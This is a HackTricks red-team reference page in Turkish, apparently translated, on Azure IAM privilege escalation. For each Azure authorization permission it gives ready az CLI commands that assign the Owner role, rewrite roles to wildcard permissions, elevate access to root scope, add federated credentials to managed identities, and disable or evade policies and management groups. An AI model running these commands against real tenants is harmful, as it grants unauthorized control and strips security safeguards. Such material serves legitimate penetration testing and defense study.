Az - Azure IAM Privesc (Authorization)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Azure IAM

Daha fazla bilgi için bakınız:

Az - Entra ID (AzureAD) & Azure IAM

Microsoft.Authorization/roleAssignments/write

Bu izin, belirli bir scope üzerinde principal’lara rol ataması yapılmasına izin verir; bu, bir saldırganın kendine daha ayrıcalıklı bir rol atayarak yetkilerini yükseltmesine olanak tanır:

# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

Microsoft.Authorization/roleDefinitions/Write

Bu izin, bir role verilen izinleri değiştirmeye olanak tanır; bu da bir attacker’ın atadığı role daha fazla izin vererek escalate privileges gerçekleştirmesine olanak sağlar.

Create the file role.json with the following içerik:

{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}

Daha sonra rol izinlerini önceki tanımlamayı çağırarak güncelleyin:

az role definition update --role-definition role.json

Microsoft.Authorization/elevateAccess/action

Bu izin, ayrıcalıkları yükseltmeye ve herhangi bir principal’e Azure resources üzerinde izin atamaya olanak tanır. Bu, Entra ID Global Administrators’a verilmek üzere tasarlanmıştır; böylece onlar Azure resources üzerindeki izinleri de yönetebilirler.

Tip

Sanırım kullanıcının elevate çağrısının çalışması için Entra ID’de Global Administrator olması gerekiyor.

# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

Bu izin, managed identities’e Federated credentials eklemeyi sağlar. Örneğin bir Github repo’sundaki Github Actions’a bir managed identity için erişim vermek. Sonuç olarak, herhangi bir kullanıcı tarafından tanımlanmış managed identity’ye erişim sağlar.

Bir Github repo’suna bir managed identity’ye erişim vermek için örnek komut:

# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'

Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

Bir saldırgan, management group, subscription veya resource group üzerinde Microsoft.Authorization/policyAssignments/write veya Microsoft.Authorization/policyAssignments/delete iznine sahipse, belirli işlemleri engelleyen güvenlik kısıtlamalarını devre dışı bırakma ihtimaliyle Azure policy assignments’ı değiştirebilir veya silebilir.

Bu, daha önce politika tarafından korunan kaynaklara veya işlevselliklere erişim sağlar.

Delete a policy assignment:

az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Bir politika atamasını devre dışı bırak:

az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled

Değişiklikleri doğrulayın:

# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Microsoft.Authorization/policyDefinitions/write

İzin Microsoft.Authorization/policyDefinitions/write olan bir saldırgan, Azure policy tanımlarını değiştirebilir, ortam genelindeki güvenlik kısıtlamalarını kontrol eden kuralları değiştirerek.

Örneğin, kaynak oluşturma için izin verilen bölgeleri kısıtlayan bir policy tanımı, herhangi bir bölgeye izin verecek şekilde değiştirilebilir veya policy etkisi (effect) değiştirilerek etkisiz hale getirilebilir.

Bir policy tanımını değiştir:

az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json

Değişiklikleri doğrulayın:

az policy definition list --output table

az policy definition show --name "<policyDefinitionName>"

Microsoft.Management/managementGroups/write

Bu izne (Microsoft.Management/managementGroups/write) sahip bir saldırgan, yönetim gruplarının hiyerarşik yapısını değiştirebilir veya yeni yönetim grupları oluşturabilir, böylece üst seviyelerde uygulanan kısıtlayıcı politikalardan kaçabilir.

Örneğin, bir saldırgan kısıtlayıcı politikaların olmadığı yeni bir yönetim grubu oluşturabilir ve ardından abonelikleri buraya taşıyabilir.

Yeni bir yönetim grubu oluştur:

az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"

Yönetim grubu hiyerarşisini değiştir:

az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"

Değişiklikleri doğrulayın:

az account management-group list --output table

az account management-group show \
--name "<managementGroupId>" \
--expand

Microsoft.Management/managementGroups/subscriptions/write

Bu izne (Microsoft.Management/managementGroups/subscriptions/write) sahip bir saldırgan, abonelikleri yönetim grupları arasında taşıyabilir, aboneliği daha az kısıtlayıcı veya hiç politika olmayan bir gruba taşıyarak potansiyel olarak kısıtlayıcı politikalardan kaçınabilir.

Aboneliği farklı bir yönetim grubuna taşıma:

az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"

Değişiklikleri doğrulayın:

az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin